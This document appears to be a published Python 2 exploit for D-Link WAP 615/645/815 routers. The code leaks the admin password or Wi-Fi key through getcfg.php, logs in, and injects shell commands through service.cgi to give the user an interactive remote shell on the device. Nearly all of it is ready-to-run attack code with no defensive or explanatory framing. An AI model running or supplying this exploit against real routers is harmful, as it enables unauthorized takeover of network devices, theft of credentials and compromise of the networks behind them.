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体验盒子#!/usr/bin/python
# Exploit Title: D-Link WAP 615/645/815 < 1.03 service.cgi RCE
# Exploit Author: Cr0n1c
# Vendor Homepage: us.dlink.com
# Software Link: https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce
# Version: 1.03
# Tested on: D-Link 815 v1.03
import argparse
import httplib
import random
import re
import requests
import string
import urllib2
DLINK_REGEX = ['Product Page : <a href="http://support.dlink.com" target="_blank">(.*?)<',
'<div class="modelname">(.*?)</div>',
'<div class="pp">Product Page : (.*?)<a href="javascript:check_is_modified">'
]
def dlink_detection():
try:
r = requests.get(URL, timeout=10.00)
except requests.exceptions.ConnectionError:
print "Error: Failed to connect to " + URL
return False
if r.status_code != 200:
print "Error: " + URL + " returned status code " + str(r.status_code)
return False
for rex in DLINK_REGEX:
if re.search(rex, r.text):
res = re.findall(rex, r.text)[0]
return res
print "Warning: Unable to detect device for " + URL
return "Unknown Device"
def create_session():
post_content = {"REPORT_METHOD": "xml",
"ACTION": "login_plaintext",
"USER": "admin",
"PASSWD": PASSWORD,
"CAPTCHA": ""
}
try:
r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
except requests.exceptions.ConnectionError:
print "Error: Failed to access " + URL + "/session.cgi"
return False
if not (r.status_code == 200 and r.reason == "OK"):
print "Error: Did not recieve a HTTP 200"
return False
if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
print "Error: Did not get a success code"
return False
return True
def parse_results(result):
print result[100:]
return result
def send_post(command, print_res=True):
post_content = "EVENT=CHECKFW%26" + command + "%26"
method = "POST"
if URL.lower().startswith("https"):
handler = urllib2.HTTPSHandler()
else:
handler = urllib2.HTTPHandler()
opener = urllib2.build_opener(handler)
request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
request.get_method = lambda: method
try:
connection = opener.open(request)
except urllib2.HTTPError:
print "Error: failed to connect to " + URL + "/service.cgi"
return False
except urllib2.HTTPSError:
print "Error: failed to connect to " + URL + "/service.cgi"
return False
if not connection.code == 200:
print "Error: Recieved status code " + str(connection.code)
return False
attempts = 0
while attempts < 5:
try:
data = connection.read()
except httplib.IncompleteRead:
attempts += 1
else:
break
if attempts == 5:
print "Error: Chunking failed %d times, bailing." %attempts
return False
if print_res:
return parse_results(data)
else:
return data
def start_shell():
print "+" + "-" * 80 + "+"
print "| Welcome to D-Link Shell" + (" " * 56) + "|"
print "+" + "-" * 80 + "+"
print "| This is a limited shell that exploits piss poor programming.I created this |"
print "| to give you a comfort zone and to emulate a real shell environment.You will|"
print "| be limited to basic busybox commands.Good luck and happy hunting.|"
print "|" + (" " * 80) + "|"
print "| To quit type 'gtfo'" + (" " * 60) + "|"
print "+" + "-" * 80 + "+\n\n"
cmd = ""
while True:
cmd = raw_input(ROUTER_TYPE + "# ").strip()
if cmd.lower() == "gtfo":
break
send_post(cmd)
def query_getcfg(param):
post_data = {"SERVICES": param}
try:
r = requests.post(URL + "/getcfg.php", data=post_data, headers=HEADER)
except requests.exceptions.ConnectionError:
print "Error: Failed to access " + URL + "/getcfg.php"
return False
if not (r.status_code == 200 and r.reason == "OK"):
print "Error: Did not recieve a HTTP 200"
return False
if re.search("<message>Not authorized</message>", r.text):
print "Error: Not vulnerable"
return False
return r.text
def attempt_password_find():
# Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password
data = query_getcfg("DEVICE.ACCOUNT")
if not data:
return False
res = re.findall("<password>(.*?)</password>", data)
if len(res) > 0 and res != "=OoXxGgYy=":
return res[0]
# Did not find it in first attempt
data = query_getcfg("WIFI")
if not data:
return False
res = re.findall("<key>(.*?)</key>", data)
if len(res) > 0:
return res[0]
# All attempts failed, just going to return and wish best of luck!
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="D-Link 615/815 Service.cgi RCE")
parser.add_argument("-p", "--password", dest="password", action="store", default=None,
help="Password for the router.If not supplied then will use blank password.")
parser.add_argument("-u", "--url", dest="url", action="store", required=True,
help="[Required] URL for router (i.e. http://10.1.1.1:8080)")
parser.add_argument("-x", "--attempt-exploit", dest="attempt_exploit", action="store_true", default=False,
help="If flag is set, will attempt CWE-200.If that fails, then will attempt to discover "
"wifi password and use it.")
args = parser.parse_args()
HEADER = {"Cookie": "uid=" + "".join(random.choice(string.letters) for _ in range(10)),
"Host": "localhost",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
URL = args.url.lower().strip()
if not URL.startswith("http"):
URL = "http://" + URL
ROUTER_TYPE = dlink_detection()
if not ROUTER_TYPE:
print "EXITING . . ."
exit()
if args.attempt_exploit and args.password is None:
res = attempt_password_find()
if res:
PASSWORD = res
else:
PASSWORD = ""
print "[+] Switching password to: " + PASSWORD
elif args.password:
PASSWORD = args.password
else:
PASSWORD = ""
if not create_session():
print "EXITING . . ."
exit()
if len(send_post("ls", False)) == 0:
print "Appears this device [%s] is not vulnerable. EXITING . . ." %ROUTER_TYPE
exit()
start_shell()
体验盒子
